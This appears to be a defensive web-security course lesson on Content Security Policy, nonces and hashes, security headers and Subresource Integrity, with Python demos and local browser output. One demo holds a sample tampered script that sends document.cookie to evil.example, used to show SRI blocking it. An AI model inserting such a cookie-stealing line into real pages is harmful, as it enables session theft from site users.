SyntaxPilot
Courses/Cybersecurity Fundamentals/Lesson 41
Video coming soonThis lesson’s video is being made

Start with the notes below; the video appears here as soon as it is on YouTube.

Cybersecurity Fundamentals · Lesson 41 of 90

Browser defences: CSP and security headers

Content Security Policy (CSP)script-srcnonceshashesstrict-dynamicreport-only modeCSP reportingclickjackingX-Frame-Optionsframe-ancestorsX-Content-Type-OptionsMIME sniffingReferrer-PolicyPermissions-Policy

These are the notes for Cybersecurity Fundamentals (defensive), episode 41. Episode 40 stopped cross-site scripting (XSS) in our own code. But code is written by people, and one forgotten |safe brings XSS back. Today we add a second wall that the browser enforces: a Content Security Policy (CSP), plus the other security headers that stop clickjacking, MIME sniffing, referrer leaks and tampered third-party files. Every term is explained the first time it appears, and the Glossary at the end defines them all again.

Neha, Ravi, the shop and every value are made up. Everything ran locally: a small Python web server on 127.0.0.1 and a headless Chromium 153 browser (a real browser with no window, driven by Playwright). Every browser message in these notes is copied from that run on 11 Nov 2026. Python samples run with Python 3.13. evil.example and cdn.example are reserved example domains. Only test headers on sites you own or are allowed to test.

The problems you'll solve

Problem Idea it teaches
One |safe slips through and XSS is back Defence in depth, Content Security Policy, directives, sources
script-src 'self' blocks our own inline code Why 'unsafe-inline' defeats CSP; nonces and hashes
Scripts that load more scripts 'strict-dynamic', a strict CSP, object-src, base-uri
Turning CSP on might break the shop Report-only mode, CSP violation reports, report-uri, report-to
An invisible bank page under a prize button Clickjacking, X-Frame-Options, frame-ancestors
A text file runs as a script MIME types, MIME sniffing, X-Content-Type-Options: nosniff
More leaks and features to switch off HSTS, Referrer-Policy, Permissions-Policy, COOP, COEP, CORP
A trusted CDN is hacked Subresource Integrity (SRI), integrity, crossorigin

Problem 1: one bug slips through

Our shop's templates escape every value (episode 40). Then Ravi adds one {{ banner|safe }} for a promo banner whose text comes from a form. XSS is back. Prevention in code is the first wall; people slip. Security people call adding independent walls defence in depth (episode 3).

Real-life example: the guest list at a wedding

The family gives the security guard a guest list. The guard checks every guest at the gate, and a gatecrasher in a good suit is still stopped.

At a wedding In the browser
The guest list Content Security Policy (CSP): a list of allowed sources, sent by the server
The guard checks each guest The browser enforces the policy on every script, style, image and frame
A gatecrasher in a suit An injected script sitting inside the real page: still blocked

What a CSP is

A Content Security Policy is a set of rules a server sends with a page, in an HTTP response header named Content-Security-Policy. (A response header is a Name: value line the server sends before the page itself; the browser reads it but doesn't show it.) The browser then refuses to load or run anything the policy doesn't allow.

Content-Security-Policy: script-src 'self'; img-src 'self' https:
  • A directive is one rule for one kind of thing: script-src (scripts), style-src (styles), img-src (images), frame-ancestors (who may frame the page), and so on. Directives are separated by semicolons.
  • After each directive come its sources: who may supply that thing. 'self' means this page's own origin (the same scheme, host and port, e.g. https://shop.example:443). https: means any HTTPS address. A host name, a nonce or a hash can also be sources (below).
  • default-src is the fallback for any fetch directive you didn't write.
  • script-src is the directive that matters most against XSS.

The obvious attempt: script-src 'self'

"Only script files from my own site." We served this page from the local server and opened it in headless Chromium:

<!-- response header: Content-Security-Policy: script-src 'self' -->
<script>document.title='inline-ran'</script>                     <!-- the shop's own code -->
<img src=x onerror="document.title='onerror-ran'">               <!-- injected -->

Chromium's real console output:

Executing inline script violates the following Content Security Policy directive 'script-src 'self''. Either the 'unsafe-inline' keyword, a hash ('sha256-HxvNcAupMKWR6xdzZfE8MP481JqnQt7UuxL9iEV7I3s='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.
Executing inline event handler violates the following Content Security Policy directive 'script-src 'self''. Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the 'unsafe-hashes' keyword is present. The action has been blocked.
title: t

The injected onerror was blocked. So was the shop's own inline script (an inline script is code written directly inside a <script> tag in the page, instead of loaded from a file with src=). Why? The browser can't tell our inline script from an injected one: both are script tags in the same page.

Why not 'unsafe-inline'?

'unsafe-inline' allows every inline script and every inline event handler (onclick=, onerror=). The attacker's script is inline too, so it runs. A policy containing 'unsafe-inline' in script-src barely protects against XSS. We need a way to mark our inline scripts.

Problem 2: nonces and hashes

Real-life example: the wristband for today's show

At a concert, everyone allowed in wears a wristband whose colour changes for every show. Yesterday's band doesn't work today.

At a concert In a page
Today's wristband colour A nonce: a random value, new on every response
The guard checks the colour script-src 'nonce-...': only <script nonce="..."> with today's value runs

A nonce ("number used once", episode 11) is a random value the server generates for every response. It goes in the header and on each of the server's own script tags:

Content-Security-Policy: script-src 'nonce-Xy7Q...'
<script nonce="Xy7Q...">app()</script>

Demo 1: a fixed nonce vs a fresh nonce

# A nonce must be NEW on every response. Fixed vs fresh:
import secrets
def allowed(csp, script_nonce):              # toy check: does the CSP accept this nonce?
    return f"'nonce-{script_nonce}'" in csp

def page_fixed():                            # the obvious attempt: one nonce forever
    return "script-src 'nonce-R4nd0m'"
def page_fresh():                            # 16 random bytes from a CSPRNG, per response
    return f"script-src 'nonce-{secrets.token_urlsafe(16)}'"

for make in (page_fixed, page_fresh):
    monday, tuesday = make(), make()
    stolen = monday.split("nonce-")[1].rstrip("'")   # attacker copies Monday's nonce
    print(make.__name__, "| Monday :", monday)
    print(make.__name__, "| Tuesday:", tuesday)
    print("   Monday's nonce still works on Tuesday?", allowed(tuesday, stolen), "\n")

Output (the fresh nonces are different on every run):

page_fixed | Monday : script-src 'nonce-R4nd0m'
page_fixed | Tuesday: script-src 'nonce-R4nd0m'
   Monday's nonce still works on Tuesday? True 

page_fresh | Monday : script-src 'nonce-qWXNsB1oteBY2Uw9uLwhZQ'
page_fresh | Tuesday: script-src 'nonce-s6WcINEmBlcU9T1dlUv6nQ'
   Monday's nonce still works on Tuesday? False 
  • A fixed nonce is just a password printed on every page: anyone who reads one page can reuse it.
  • secrets.token_urlsafe(16) uses a CSPRNG (cryptographically secure pseudo-random number generator, episode 10): 16 bytes = 128 bits, written in URL-safe base64.
  • Never cache a page with its nonce baked in (send Cache-Control: no-store or make the cache vary per response), or every visitor gets the same nonce.

The nonce in a real browser

<!-- Content-Security-Policy: script-src 'nonce-R4nd0m' -->
<script nonce=R4nd0m>document.title+='|nonce';</script>      <!-- ours -->
<script>document.title+='|injected';</script>                <!-- injected -->
Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-R4nd0m''. ... The action has been blocked.
title: t|nonce

We also checked nonce hiding: inside that page, document.scripts[0].getAttribute('nonce') returned an empty string (the .nonce property still works for the page's own code). So tricks that read attributes, such as CSS attribute selectors, can't leak the nonce.

Hashes, for scripts that never change

Some pages are static files with no server code to make a nonce. For a script that never changes, the policy can list its hash: a short fingerprint of the exact text (episode 13). Change one character and the hash changes completely. CSP uses SHA-256, SHA-384 or SHA-512, written in base64 (a way to write bytes as letters, digits, +, / and =).

Demo 2: computing a CSP hash

# Hash a fixed inline script. The CSP lists the hash, not the code.
import hashlib, base64
def csp_hash(js):
    digest = hashlib.sha256(js.encode()).digest()          # 32 bytes
    return "'sha256-" + base64.b64encode(digest).decode() + "'"

ours = "document.title+='|hash';"
print("our script        :", csp_hash(ours))
print("one extra space   :", csp_hash(ours + " "))
print("attacker's script :", csp_hash("document.title='inline-ran'"))
print()
print("Content-Security-Policy: script-src", csp_hash(ours))
our script        : 'sha256-woElxXKN2IP11gE/CkMJHEry0PHxNtGPwBB7oOlwzrw='
one extra space   : 'sha256-XS4mxbHDtO8XNjGn/av+jqwxgsOArfKO9+GzghtX9RU='
attacker's script : 'sha256-HxvNcAupMKWR6xdzZfE8MP481JqnQt7UuxL9iEV7I3s='

Content-Security-Policy: script-src 'sha256-woElxXKN2IP11gE/CkMJHEry0PHxNtGPwBB7oOlwzrw='

The attacker's hash HxvNc... is exactly the value Chromium printed in its error message for that script. With our hash in the policy, Chromium ran our script (title: t|hash) and blocked a second inline script. The hash covers the text between <script> and </script> exactly, including spaces and new lines.

Nonce or hash? Nonce: pages generated by a server. Hash: static pages and scripts that never change.

Problem 3: scripts that load scripts

Real pages use a small loader script that adds more scripts (analytics, a chat widget, a map) with document.createElement('script'). Those new scripts have no nonce. Listing every host they come from is long and fragile, and large host allowlists often include some file that can be abused.

'strict-dynamic'

The OWASP CSP Cheat Sheet: 'strict-dynamic' "tells the browser to trust those elements as well without having to explicitly add nonces or hashes for each one". Trust passes down from a nonced or hashed script to the scripts it creates.

<!-- Content-Security-Policy: script-src 'nonce-R4nd0m' 'strict-dynamic' -->
<script nonce=R4nd0m>
  var s = document.createElement('script'); s.src = '/lib.js';
  document.head.appendChild(s);          // added by trusted code
</script>
<script src=/lib.js></script>           <!-- written in the HTML, no nonce -->
Loading the script 'http://127.0.0.1:8901/lib.js' violates the following Content Security Policy directive: "script-src 'nonce-R4nd0m' 'strict-dynamic'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback. The action has been blocked.
title: t|lib

The script created by the trusted script loaded; the plain <script src> written in the HTML (exactly what an injected tag looks like) was blocked. With 'strict-dynamic', host lists and 'self' in script-src are ignored by browsers that support it.

A strict CSP

OWASP: "current leading practice is to create a "Strict" CSP":

Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Content-Security-Policy: script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic'; object-src 'none'; base-uri 'none'
  • object-src 'none' blocks old plugins (<object>, <embed>), another way to run code.
  • base-uri 'none' stops an injected <base href=...> tag from changing where the page's relative links and script paths point.
  • Inline event handlers (onclick="...") are not allowed under a strict CSP; attach handlers from your nonced script with addEventListener.

Problem 3b: rolling it out without breaking the shop

Real-life example: a fire drill

A school runs a practice drill first: nobody is really evacuated, but the teacher notes what went wrong. CSP has a drill too.

At school With CSP
A practice drill Content-Security-Policy-Report-Only: the browser checks but blocks nothing
The teacher's notes CSP violation reports sent to report-uri / report-to

Report-only mode is the header Content-Security-Policy-Report-Only. OWASP describes it as non-blocking ("fail open"). A CSP report is a small JSON message the browser POSTs to the address you name. Our server received this real report from Chromium:

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report
{"csp-report":{"document-uri":"http://127.0.0.1:8901/ro","referrer":"","violated-directive":"script-src-elem","effective-directive":"script-src-elem","original-policy":"script-src 'self'; report-uri /csp-report","disposition":"report","blocked-uri":"inline","line-number":1,"source-file":"http://127.0.0.1:8901/ro","status-code":200,"script-sample":""}}
console: ... The policy is report-only, so the violation has been logged but no further action has been taken.
title: inline-ran
  • disposition: "report" = only reported; the script still ran.
  • report-uri is the older directive. OWASP: it is "deprecated by CSP Level 3 in favor of report-to", and recommends declaring both for now (browsers that support report-to ignore report-uri). report-to names a group defined in a separate Reporting-Endpoints header.
  • Plan: deploy report-only → fix the reports for a week or two → switch to the enforcing header (you can keep a report-only header alongside it to test the next, stricter policy).

Problem 4: clickjacking

A page on another site says "Click to claim your prize!". On top of it, Neha's real bank page is loaded in an iframe (a frame that shows one page inside another) and made fully transparent. Her click lands on the bank's "Transfer" button while she is logged in. That is clickjacking: tricking someone into clicking something they can't see. The fix: the bank refuses to be framed.

Content-Security-Policy: frame-ancestors 'none'     # modern: who may put me in a frame
X-Frame-Options: DENY                              # older header (DENY or SAMEORIGIN)

Both bank pages framed in Chromium were refused:

Framing 'http://127.0.0.1:8901/' violates the following Content Security Policy directive: "frame-ancestors 'none'". The request has been blocked.
Refused to display 'http://127.0.0.1:8901/' in a frame because it set 'X-Frame-Options' to 'deny'.
  • frame-ancestors 'none' = nobody; 'self' = my own origin; or list exact origins (https://partner.example).
  • OWASP: X-Frame-Options "has been obsoleted by the frame-ancestors CSP directive", and browsers that support frame-ancestors ignore it. Many sites still send both, for old browsers.
  • frame-ancestors only works in a header, not in a <meta> CSP tag.

Problem 5: MIME sniffing and the other headers

Real-life example: a parcel labelled "books"

At the post office In the browser
The label says "books" The Content-Type header: the MIME type, e.g. text/plain, text/html, text/javascript
A clerk who guesses from the contents instead MIME sniffing: the browser guesses the type from the bytes
Rule: obey the label X-Content-Type-Options: nosniff

A MIME type names what a file is (type/subtype). MIME sniffing means a browser ignores the label and guesses. A user-uploaded "text" file that contains JavaScript could then run as a script if a page points <script src> at it.

notes.txt served as text/plain, loaded with <script src> Result in Chromium
no nosniff header title: t|sniffed: it ran
X-Content-Type-Options: nosniff on the file's response Refused to execute script from 'http://127.0.0.1:8901/notjs.txt' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.

The header must be on the file's own response (we first put it only on the page, and the script still ran).

More headers, one job each

Header Job Example
Strict-Transport-Security (HSTS, episode 22) Use only HTTPS for this site from now on max-age=31536000; includeSubDomains
Referrer-Policy How much of my URL to put in the Referer header when a user follows a link or loads a resource elsewhere strict-origin-when-cross-origin
Permissions-Policy Switch browser features off for this page and everything it embeds camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy (COOP) Keep my window separate from cross-origin pages it opens or that open it same-origin
Cross-Origin-Resource-Policy (CORP) Which sites may embed my files same-origin, same-site, cross-origin
Cross-Origin-Embedder-Policy (COEP) My page only embeds files that agreed to it (via CORP or CORS) require-corp or credentialless
  • Referrer-Policy (MDN): strict-origin-when-cross-origin is "the default policy if no policy is specified". Same-origin requests get the full URL; other sites get only the origin (https://shop.example/), and an HTTPS→HTTP request gets nothing. no-referrer sends nothing at all. The Referer header (spelled with one "r" in the middle, a historic typo) can leak private paths like /orders/1234?token=....
  • Permissions-Policy: camera=() means "no one, not even this page". We checked in Chromium: with camera=(), geolocation=(), document.featurePolicy.allowsFeature('camera') was false, geolocation false, and microphone (not listed) true. So even an injected script can't ask for the camera.
  • COOP values (MDN): unsafe-none (the default), same-origin-allow-popups, same-origin. A page opened into a new browsing context group loses its references to the other window, which stops some cross-window attacks (XS-Leaks).
  • Cross-origin isolation (MDN): Cross-Origin-Opener-Policy: same-origin + Cross-Origin-Embedder-Policy: require-corp (or credentialless). It unlocks powerful features such as SharedArrayBuffer and high-resolution timers; check with window.crossOriginIsolated.

Demo 3: a tiny header audit

# A tiny audit of a response's security headers
SAFE_REF = "strict-origin-when-cross-origin"
CHECKS = [
  ("Content-Security-Policy",   lambda v: "script-src" in v and "unsafe-inline" not in v),
  ("Strict-Transport-Security", lambda v: "max-age=" in v),
  ("X-Content-Type-Options",    lambda v: v == "nosniff"),
  ("Referrer-Policy",           lambda v: v in ("no-referrer", SAFE_REF)),
  ("Permissions-Policy",        lambda v: "camera=()" in v),
  ("Cross-Origin-Opener-Policy", lambda v: v == "same-origin"),
]
def audit(name, headers):
    print(name)
    for header, good in CHECKS:
        v = headers.get(header)
        mark = "MISSING" if v is None else ("ok" if good(v) else "WEAK   " + v)
        print(f"  {header:27} {mark}")

BEFORE = {"Content-Type": "text/html",
          "Content-Security-Policy": "script-src 'self' 'unsafe-inline'"}
AFTER = {"Content-Type": "text/html",
  "Content-Security-Policy": "script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'",
  "Strict-Transport-Security": "max-age=31536000; includeSubDomains",
  "X-Content-Type-Options": "nosniff",
  "Referrer-Policy": "strict-origin-when-cross-origin",
  "Permissions-Policy": "camera=(), microphone=(), geolocation=()",
  "Cross-Origin-Opener-Policy": "same-origin"}
audit("before:", BEFORE)
audit("after:", AFTER)
before:
  Content-Security-Policy     WEAK   script-src 'self' 'unsafe-inline'
  Strict-Transport-Security   MISSING
  X-Content-Type-Options      MISSING
  Referrer-Policy             MISSING
  Permissions-Policy          MISSING
  Cross-Origin-Opener-Policy  MISSING
after:
  Content-Security-Policy     ok
  Strict-Transport-Security   ok
  X-Content-Type-Options      ok
  Referrer-Policy             ok
  Permissions-Policy          ok
  Cross-Origin-Opener-Policy  ok

Headers are a second wall. A perfect header set does nothing for SQL injection or a missing access check.

Problem 6: a hacked CDN

A CDN (content delivery network) is a set of servers around the world that host popular files close to users. Our shop loads lib.js from one. If the CDN is hacked and the file gains a line that steals cookies, CSP still allows it: CSP checks where a file comes from, not what is inside. We need to pin the exact content.

Subresource Integrity (SRI)

MDN: SRI "enables browsers to verify that resources they fetch (for example, from a CDN) are delivered without unexpected manipulation". You put the file's hash in the integrity attribute. Allowed prefixes: sha256, sha384, sha512 (with several, the browser uses the strongest).

<script src="https://cdn.example/lib.js"
        integrity="sha384-UbQg6QuNJGQedVqK2O5MGeTw7Zv7jE4v8kg0jxvNK66BzqzbvSp8Z/nUFyK2rJCb"
        crossorigin="anonymous"></script>

Demo 4: computing and checking an SRI hash

# Subresource Integrity: pin the exact file you expect from the CDN
import hashlib, base64
def sri(content):
    return "sha384-" + base64.b64encode(hashlib.sha384(content).digest()).decode()

lib      = b"document.title+='|lib';"            # the file you reviewed
tampered = b"document.title+='|lib';fetch('//evil.example/?c='+document.cookie)"
pinned = sri(lib)
print("integrity for lib.js:")
print(pinned, "\n")
for name, served in [("CDN serves the reviewed file", lib), ("CDN was hacked", tampered)]:
    ok = sri(served) == pinned
    print(f"{name:28} -> {'runs' if ok else 'BLOCKED, hash mismatch'}")
integrity for lib.js:
sha384-UbQg6QuNJGQedVqK2O5MGeTw7Zv7jE4v8kg0jxvNK66BzqzbvSp8Z/nUFyK2rJCb 

CDN serves the reviewed file -> runs
CDN was hacked               -> BLOCKED, hash mismatch

In Chromium, the correct hash ran the library (title: t|lib). A wrong hash:

Failed to find a valid digest in the 'integrity' attribute for resource 'http://127.0.0.1:8901/lib.js' with computed SHA-384 integrity 'UbQg6QuNJGQedVqK2O5MGeTw7Zv7jE4v8kg0jxvNK66BzqzbvSp8Z/nUFyK2rJCb'. The resource has been blocked.
  • For a file from another origin, SRI needs CORS (cross-origin resource sharing: the other server says your site may read the file), so add crossorigin="anonymous". MDN: without it, a cross-origin SRI request always fails.
  • When you upgrade the library, update the hash. Pin exact versions (lib@3.7.1), never "latest".
  • SRI works for <script> and <link rel=stylesheet>.

The whole chain

  1. One |safe slipped → CSP: the browser enforces a list of allowed sources.
  2. 'self' blocked our own inline code; 'unsafe-inline' lets attackers in → nonces (fresh per response) and hashes.
  3. Scripts load scripts → 'strict-dynamic', plus object-src 'none' and base-uri 'none': a strict CSP. Roll out with Report-Only and reports first.
  4. An invisible bank frame → frame-ancestors (and X-Frame-Options).
  5. A text file ran as code → nosniff; plus HSTS, Referrer-Policy, Permissions-Policy, COOP/COEP/CORP.
  6. A hacked CDN → Subresource Integrity.

Common mistakes (and what they cause)

Mistake What happens (real output) Why Fix
Adding 'unsafe-inline' to silence errors injected inline scripts run again it allows every inline script nonce or hash + 'strict-dynamic'
A fixed nonce Monday's nonce still works on Tuesday? True a nonce must be used once secrets.token_urlsafe(16) per response, Cache-Control: no-store
Inline onclick= handlers under a strict CSP Executing inline event handler violates ... The action has been blocked. hashes and nonces don't cover handlers addEventListener in a nonced script
Forgetting framing rules the bank page loads inside evil.example clickjacking frame-ancestors 'none' (+ X-Frame-Options: DENY)
nosniff only on the HTML page the text/plain file still ran as a script the header must be on the file's response send nosniff on every response
SRI without crossorigin cross-origin SRI request always fails (MDN) SRI needs CORS crossorigin="anonymous"
Enforcing a new CSP on day one real features break no data on what the page loads Content-Security-Policy-Report-Only first

Mini project: a toy shop with a strict CSP and a report collector

A tiny server that makes a fresh nonce per response, sends a strict CSP and the other headers, and prints CSP violation reports. The page also contains one "injected" script without a nonce.

# Mini project: a tiny server that sends a strict CSP with a FRESH nonce, plus the security headers,
# and collects CSP violation reports.   Run: python3 mini.py   then open http://localhost:8000/
import http.server, secrets, json

PAGE = """<!doctype html><title>Toy shop</title>
<h1>Toy shop</h1><p id=out></p>
<script nonce="{n}">document.getElementById('out').textContent = 'our script ran';</script>
<script>document.title = 'INJECTED';</script>"""

class Shop(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        nonce = secrets.token_urlsafe(16)                      # new on every response
        csp = (f"script-src 'nonce-{nonce}' 'strict-dynamic'; object-src 'none'; "
               "base-uri 'none'; frame-ancestors 'none'; report-uri /csp-report")
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Security-Policy", csp)
        self.send_header("X-Content-Type-Options", "nosniff")
        self.send_header("Referrer-Policy", "strict-origin-when-cross-origin")
        self.send_header("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
        self.send_header("Cross-Origin-Opener-Policy", "same-origin")
        self.send_header("Cache-Control", "no-store")             # never cache a nonce
        self.end_headers()
        self.wfile.write(PAGE.format(n=nonce).encode())
    def do_POST(self):                                          # CSP reports arrive here
        body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
        r = json.loads(body).get("csp-report", {})
        print("CSP report:", r.get("effective-directive"), "blocked", r.get("blocked-uri"), flush=True)
        self.send_response(204); self.end_headers()
    def log_message(self, *a): pass

if __name__ == "__main__":
    http.server.ThreadingHTTPServer(("127.0.0.1", 8000), Shop).serve_forever()

Real run: the headers (curl -s -D - -o /dev/null http://127.0.0.1:8000/):

HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.13.18
Content-Type: text/html; charset=utf-8
Content-Security-Policy: script-src 'nonce-lRFgA5GLhzdmOkQh_olHjw' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; report-uri /csp-report
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cache-Control: no-store

Opening the page in headless Chromium: title: Toy shop | out: our script ran, and the server printed CSP report: script-src-elem blocked inline (the injected script was blocked and reported). Extensions: add Strict-Transport-Security when served over HTTPS, and a Reporting-Endpoints header with report-to.

Practice

  1. Hash your own inline script and check that it matches the hash the browser prints.
  2. Write a strict CSP for a page you own that has one inline script and loads one library from a CDN.
  3. Add a framing check to the audit (frame-ancestors or X-Frame-Options).
  4. Why can't CSP alone stop a hacked CDN?
Solution 1

Use csp_hash() from Demo 2 on the exact text between <script> and </script>. Then open the page with script-src 'self' and read the console: Chromium prints a hash ('sha256-...') for the blocked script, the same value. Our run: csp_hash("document.title='inline-ran'") → 'sha256-HxvNcAupMKWR6xdzZfE8MP481JqnQt7UuxL9iEV7I3s=', identical to Chromium's message.

Solution 2
Content-Security-Policy: script-src 'nonce-{fresh per response}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'; report-uri /csp-report

Give the inline script nonce="{same value}". Load the CDN library from the nonced script, or give its <script> tag the nonce too, plus integrity="sha384-..." crossorigin="anonymous". Deploy it first as Content-Security-Policy-Report-Only.

Solution 3
# Practice 3 solution: add a frame-ancestors check to the audit
def frames_blocked(headers):
    csp = headers.get("Content-Security-Policy", "")
    xfo = headers.get("X-Frame-Options", "").upper()
    if "frame-ancestors 'none'" in csp or "frame-ancestors 'self'" in csp:
        return "ok (frame-ancestors)"
    if xfo in ("DENY", "SAMEORIGIN"):
        return "ok (X-Frame-Options only: add frame-ancestors too)"
    return "MISSING: the page can be framed (clickjacking)"

print(frames_blocked({"Content-Security-Policy": "script-src 'self'"}))
print(frames_blocked({"X-Frame-Options": "DENY"}))
print(frames_blocked({"Content-Security-Policy": "frame-ancestors 'none'"}))
MISSING: the page can be framed (clickjacking)
ok (X-Frame-Options only: add frame-ancestors too)
ok (frame-ancestors)
Solution 4

CSP decides where a script may come from. The hacked file still comes from the allowed CDN host (or is loaded by a trusted script under 'strict-dynamic'), so CSP allows it. Only Subresource Integrity checks what is inside the file.

Quick quiz

<script nonce=Xy7Q...>app()</script>        <!-- ours -->
<script>steal()</script>                   <!-- injected -->

Which header runs ours and blocks the injected one? A: script-src 'self' 'unsafe-inline' B: script-src 'nonce-Xy7Q...' 'strict-dynamic' C: frame-ancestors 'none' D: X-Content-Type-Options: nosniff

Answer

B. Only the nonce policy allows our nonced script and blocks the inline script without it. A allows every inline script, C only controls who may frame the page, and D only stops MIME sniffing.

Interview questions

  1. What is CSP and what does it protect against? A response header listing allowed sources for scripts, styles, frames and more; the browser enforces it. It is defence in depth against XSS (and, with frame-ancestors, clickjacking). It does not fix the bug that allowed the injection.
  2. Why is 'unsafe-inline' a problem? It allows every inline script and handler, including injected ones.
  3. Nonce vs hash? A nonce is a fresh random value per response, put on your script tags; a hash pins the exact text of a fixed script. Nonce for server-rendered pages, hash for static ones.
  4. What does 'strict-dynamic' do? Scripts created by an already-trusted (nonced or hashed) script are trusted too; host allowlists are ignored.
  5. How do you roll out CSP safely? Content-Security-Policy-Report-Only with report-uri/report-to, fix violations, then enforce.
  6. X-Frame-Options vs frame-ancestors? Both stop framing; frame-ancestors is the modern CSP directive, supports a list of origins, and supersedes XFO.
  7. What is MIME sniffing and how do you stop it? The browser guessing a file's type from its content; X-Content-Type-Options: nosniff.
  8. What does SRI do and what does it need? Pins a third-party file to a hash; needs crossorigin (CORS) for cross-origin files.
  9. What is cross-origin isolation? COOP same-origin + COEP require-corp/credentialless; enables SharedArrayBuffer.
  10. Which Referrer-Policy is the browser default? strict-origin-when-cross-origin (MDN).

Glossary

Term Meaning, with an example
Defence in depth Several independent walls, so one failure isn't fatal. Escaping in code and a CSP.
HTTP response header A Name: value line a server sends before the page. X-Content-Type-Options: nosniff.
Content Security Policy (CSP) A response header listing where scripts, styles, images and frames may come from; the browser enforces it.
Directive One rule in a CSP, e.g. script-src, img-src, frame-ancestors.
Source (CSP) Who may supply something: 'self', https:, a host, 'nonce-...', 'sha256-...'.
script-src The CSP directive for scripts; the one that stops XSS.
default-src Fallback for fetch directives you didn't write.
'self' This page's own origin (scheme + host + port).
Origin Scheme, host and port together, e.g. https://shop.example:443.
Inline script Code written directly inside <script>...</script> in the page.
Inline event handler JavaScript in an attribute like onclick="..." or onerror="...".
'unsafe-inline' CSP keyword allowing every inline script and handler; defeats XSS protection.
Nonce "Number used once": a fresh random value per response; script-src 'nonce-Xy7Q...' + <script nonce="Xy7Q...">.
Nonce hiding The browser hides the nonce attribute value from getAttribute, so it can't leak through attribute tricks.
CSPRNG Cryptographically secure random generator; Python's secrets module.
Hash (CSP) 'sha256-<base64>' of an exact inline script; change one character and it no longer matches.
Base64 A way to write bytes as text using letters, digits, +, / and =.
'strict-dynamic' Scripts created by a trusted script are trusted too; host lists are ignored.
Strict CSP Nonce or hash + 'strict-dynamic' + object-src 'none' + base-uri 'none' (OWASP's leading practice).
object-src 'none' Blocks plugins (<object>, <embed>).
base-uri 'none' Stops an injected <base> tag from changing where relative URLs point.
Report-only mode Content-Security-Policy-Report-Only: checks and reports, blocks nothing.
CSP report JSON the browser POSTs about a violation, e.g. "violated-directive":"script-src-elem".
report-uri / report-to Where reports go; report-uri is deprecated in CSP Level 3 in favour of report-to (declare both).
Iframe A frame showing one page inside another: <iframe src=...>.
Clickjacking Tricking a user into clicking something invisible, e.g. a transparent bank page over a prize button.
X-Frame-Options Older header: DENY or SAMEORIGIN stop framing.
frame-ancestors CSP directive: which pages may frame this one; 'none', 'self' or origins.
MIME type The type label of a response: text/html, text/plain, text/javascript.
Content-Type The header carrying the MIME type.
MIME sniffing The browser guessing a file's type from its bytes instead of the label.
X-Content-Type-Options: nosniff Tells the browser to obey Content-Type; a text/plain file won't run as a script.
HSTS (Strict-Transport-Security) Tells the browser to use only HTTPS for the site for max-age seconds.
Referer header The address of the page a request came from (spelled with one "r").
Referrer-Policy Controls how much of the URL goes in Referer; default strict-origin-when-cross-origin.
Permissions-Policy Switches browser features off, e.g. camera=() = no one may use the camera.
COOP (Cross-Origin-Opener-Policy) same-origin keeps my window separate from cross-origin windows it opens or is opened by.
CORP (Cross-Origin-Resource-Policy) Which sites may embed my files: same-origin, same-site, cross-origin.
COEP (Cross-Origin-Embedder-Policy) require-corp: my page only embeds files that opted in.
Cross-origin isolation COOP same-origin + COEP require-corp/credentialless; unlocks SharedArrayBuffer.
XS-Leaks Attacks that learn cross-site information through windows, timing or errors.
CDN Content delivery network: servers worldwide hosting files near users.
Subresource Integrity (SRI) integrity="sha384-..." on <script>/<link>: the browser refuses a file whose hash doesn't match.
CORS Cross-origin resource sharing: another server allowing your site to read its file; SRI needs it (crossorigin="anonymous").
Headless browser A real browser without a window, driven by code (we used Chromium via Playwright).

Summary

  • CSP is a second wall: the server lists allowed sources, the browser enforces them. script-src stops XSS.
  • Never 'unsafe-inline'. Mark your scripts with a fresh nonce per response or a hash; add 'strict-dynamic', object-src 'none', base-uri 'none'.
  • Roll out with Report-Only and reports (report-uri + report-to).
  • Stop clickjacking with frame-ancestors 'none' (and X-Frame-Options: DENY for old browsers).
  • Stop MIME sniffing with nosniff on every response; add HSTS, Referrer-Policy, Permissions-Policy, and COOP/COEP/CORP where needed.
  • Pin third-party files with Subresource Integrity and crossorigin="anonymous".
  • Headers limit damage; they don't replace fixing the bug.

Next episode: CSRF and cookie security: cross-site request forgery, CSRF tokens, SameSite cookies, Origin checks and cookie prefixes.